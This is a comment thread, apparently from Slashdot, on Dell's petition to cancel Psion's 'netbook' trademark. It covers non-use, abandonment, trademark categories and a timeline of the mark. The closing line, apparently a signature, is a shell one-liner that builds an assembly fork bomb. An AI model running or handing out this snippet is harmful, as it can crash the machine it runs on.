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Dell Accuses Psion of "Fraud" Over Netbook
Barence writes "Dell has issued court papers in the US, accusing Psion of fraudulently laying claim to the term netbook. Psion sent out warning letters late last year to PC manufacturers, retailers and bloggers alike, asking them to stop using the term netbook, which the company registered as a trademark in the late 1990s. But in a Petition for Cancellation of Psion's trademark, the PC manufacturer accuses Psion of abandoning the term and fraudulently claiming it was still in use. 'Psion is not currently offering laptop computers under the Netbook trademark,' Dell's petition claims. The petition also claims that Psion made false statements about its use of the term Netbook in a sworn declaration to the US Trademark Office."
A trademark registration is generally regarded as prima facie evidence of a legitimate interest. However, if the mark is not used in substantial interstate commerce after a period of time, the mark can be invalidated with a successful court challenge.
However, if they were using the mark, or intending to use the mark in a good faith effort, Dell can lose and open themselves to paying Psion's legal fees as well as a counter suit, cessation of use in commerce, and a healthy share of any profits used under that term. (i.e. i can defend a trademark on a device i'm designing even if i haven't sold a single unit).
One final thing, IANAL, but I talk to them when I'm feeling masochistic.
Is it sad that I am more likely to recognize you and your posts by your sig than your name or UID?
This may be interesting to watch play out. On the one hand, Psion did actually use the trademark in the past, and the letters it sent could be considered a defense of trademark. On the other hand, if they intentionally falsified information, there ought to be repercussions.
Beside those legal grounds for making a decision, the question of "buzzword-squatting" will likely come into play here. I don't know if that label necessarily applies in this case, but to the extent that Dell uses the concept in its argument, it becomes relevant.
1989 - First known use of the word 'netbook' (registered trademark by Asymetrix corp)
1991 - Trademark abandoned by Asymetrix
1996 - Psion applies to the USPTO for the trademark for netbook
1999 - First reference I can find to a Psion netbook
2003 - Netbook Pro is released (doesn't seem to be for sale anymore, it was a 'clamshell PDA')
2008 - Claimed genericization of the term netbook by Asus and others.
December 2008 - Psion sends cease and desist letters to a bunch of companies
Now - Dell retaliates, files court papers claiming that Psion is not planning on producing a product called a netbook (which is probably true, it's not really their target market, but they seem to like expanding so who knows).
The fact that the term in and of itself is generic may not be enough, after all we have apple computer, and apples are pretty common. It does look like it could be an expensive fight, and I would be surprised if Psion decides to fight it out to the end. IANAL
Qxe4
Hmmm... And I thought their cars looked pretty bad. I can't imagine what a milk-carton-on-its-side shaped netbook with customizable accessories would look like.
FYI, it's generally accepted there are five different categories of trademark, each more defensible than the next. The least most defensible mark is a "descriptive" mark. Like "facial tissue." Had the Kleenex brand chosen "Facial Tissue[tm]" for their mark, they may well have lost control of the mark because generic terms cannot function as trademarks.
We all call them Kleenex, but they are facial tissues. If someone had tried to trademark 'facial tissue' we would be in the same ballpark here.
The most defensible mark is a fanciful one, that is a word which does not otherwise exist (Kodak, Xerox, Pepsi, etc). Afaik, Kleenex actually is the best possible name one could choose to associate with tissues, since it is entirely fanciful (and Kleenex company has done a good job associating their name with tissues). As an aside, it is possible for a diluted mark to lose its protected status (such as with Bayer's "Aspirin" analgesic).
These marketing people might as well start trying to trademark things like 'desk' 'pen' or 'screen'.
Netbook would probably fall under the "Suggestive" trademark category (the third most defensible category, behind Arbitrary and Fanciful). Net and Book both exist as words, but were previously not widely applied to this sort of device.
So, in conclusion, "Netbook" is nothing like "pen" or "desk," as far as trademarks go. Neither of these examples would even be registerable, unless they were referring to something they weren't (you could make a ketchup product called "DESK" or a cell phone called "PEN").
I am Jack's complete lack of surprise.
Source, if the link evaporates, search TESS for Netbook, its serial number 75215401
PROTIP: TESS links expire, but each TESS result has a persistent link under the "TARR Status" button. See TARR: Serial #75215401
Hmm I found this
http://www.mtpt.co.uk/2008/12/a-netbook-by-any-other-name-or-how-psion-is-going-discover-you-have-to-use-it-or-lose-it.html
It was reported earlier this week that lawyers acting for Psion were writing out to those using the term "netbook" to describe mini-laptops optimised for web/internet use. They were politely - indeed curiously politely - inviting people to 'transition' to using another name.
Transition? Politely? Since when do commercial IP lawyers behave like that?
[Declaration of interest: I'm a commercial lawyer, and IP, especially trademark law, is a significant part of what I do.]
There's something going on here which could prove very interesting if Psion proceeds to do anything silly. Like actually trying to enforce the rights they're asserting.
Some basics (skip this if you're familiar with trademark law):
A trademark is sign (normally but not exclusively words or images) which indicate the origin of goods or services.
In general (and specifically in the EU) they acquire protection in one of two ways; by being used - acquiring reputation and goodwill, i.e. people knowing the trademark and there being sufficient economic activity associated with it - or by being registered with the state.
An unregistered trademark has to be used to come into existance. A registered trademark doesn't have to be used, but if it is ever unused for a continuous period of five years it can be revoked for non-use.
Generally, trademarks give the owner a exclusive right to use the trademark for specific goods, and a right to prevent people using similar marks for the same goods or the same mark for similar goods.
The goods and services for trademarks are classified into one of 45 classes. Class 9, for example, covers electronic equipment and includes computers.
Way back when, when laptops were expensive, slow, and heavy, Psion was knocking out a successful range of palmtops. In the late nineties they obtained trademark registrations for the word NETBOOK covering electronics and printed goods, and used the brand for a device called the Psion Netbook (more familiar in it's consumer version, the Psion 7).
Several years ago - as they generally moved to an enterprise focus - they stopped producing the Psion Netbook, and Psion's lawyers now admit that these days all they do in connection with that product is produce accessories for extant equipment.
Psion still has valid trademark registrations. In the EU, for example, Community Trademark 428050 for the mark NETBOOK, covering a variety of electronic equipment and printed materials, is still in full force, was last renewed by Psion in December 2006, and will stay in force until 2016.
Unless, that is, it gets cancelled.
Anyone can apply to cancel a registered trademark on grounds of non-use, but as they'll only succeed if they can demonstrate that the mark hasn't been used for specific goods for 5 years.
Tantalisingly, Psion's own website admits that the "end of life" was in November 2003.
Game over? Maybe. Whilst the same document states that the last maintenance coverage from Psion will not be until 31 December 2008, maintenance services are not goods in Class 9. Psion might be able to argue their maintenance services were branded as "Netbook", or involved the supply of parts under the mark NETBOOK but from my experience of IT service provision I'd be surprised if that was the case.
So the tm is on the borderline of being considered abandoned. Hence the lawsuit presumably.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;